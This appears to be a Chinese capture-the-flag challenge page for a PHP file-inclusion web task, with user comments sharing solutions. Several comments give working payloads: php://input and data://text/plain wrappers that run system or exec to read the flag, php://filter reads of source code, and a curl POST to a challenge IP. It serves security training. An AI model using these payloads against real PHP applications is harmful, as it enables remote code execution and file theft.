简单的IncludeWEB 未解决

分数: 15 金币: 2
题目作者: hanzkj
一　　血: flagOrz
一血奖励: 2金币
解　　决: 353
提　　示:
描　　述:

听说你很会读文件？我把门（目录遍历）焊死了，窗户（关键词过滤）也封了。笔给你，你来写（payload）。

...
登录回复
评论
icyskin 1月前
举报

curl -X POST "http://160.202.254.160:18667/?page=PHP://input" -d "<?php system(\"cat /fla*\")?>"

回复 0
kitniu 4月前
举报

1.IP/?page=php://filter/read=convert.base64-encode/resource=index.php 2.IP/?page=data://text/plain,%3C?php%20system(%27cat%20/fla?%27)?%3E

回复 1
网恋秀牛子被录屏导致自卑 7月前
举报

/?page=data://text/plain,<?=exec("cat /fla?")?>

回复 0
shrinp 8月前
举报

php://filter/convert.base64-encode/resource获取源码-》查看WAF细节-》使用data://text/plain, <?php 你需要的命令?>即可

回复 0
yinghui130 9月前
举报

POST /?page=php://input HTTP/1.1 <br> Host: 171.80.2.169:15133 <br> <br> <?php system('tac /flag ');?>

回复 1
网恋秀牛子被录屏导致自卑 7月前
举报

@111222 这不是实体编码，是bugku不让发尖括号之类的符号，自动把评论替换成实体编码了

回复 0
111222 8月前
举报

谢谢你的思路，不过我用burp试了一下这里不用实体编码似乎也可以过

回复 0
Jazz888 9月前
举报

flag{**********}

回复 0
wywitkey 9月前
举报

解题思路是伪协议，先期php://filter/读源码，后期data://text/plain,读flag

回复 0

WriteUp

image
gxnb123

3 金币

立即查看

评分(0)

暂无评分

解题动态

准备夺冠 攻破了该题 1天前
niubill 攻破了该题 1天前
kimol 攻破了该题 1天前
Vluae 攻破了该题 2天前
dp0420 攻破了该题 5天前
lover 攻破了该题 5天前
C071 攻破了该题 5天前
iaaaui 攻破了该题 9天前
mechatengo 攻破了该题 9天前
飞翔的企鹅 攻破了该题 9天前
hell0-hnc 攻破了该题 10天前
afeer123 攻破了该题 13天前
haowin 攻破了该题 14天前
hdcc1 攻破了该题 15天前
1781****263 攻破了该题 18天前
william5678 攻破了该题 18天前
wangjing6715 攻破了该题 18天前
lllinux 攻破了该题 20天前
kramin 攻破了该题 22天前
Aptlion 攻破了该题 23天前
问题反馈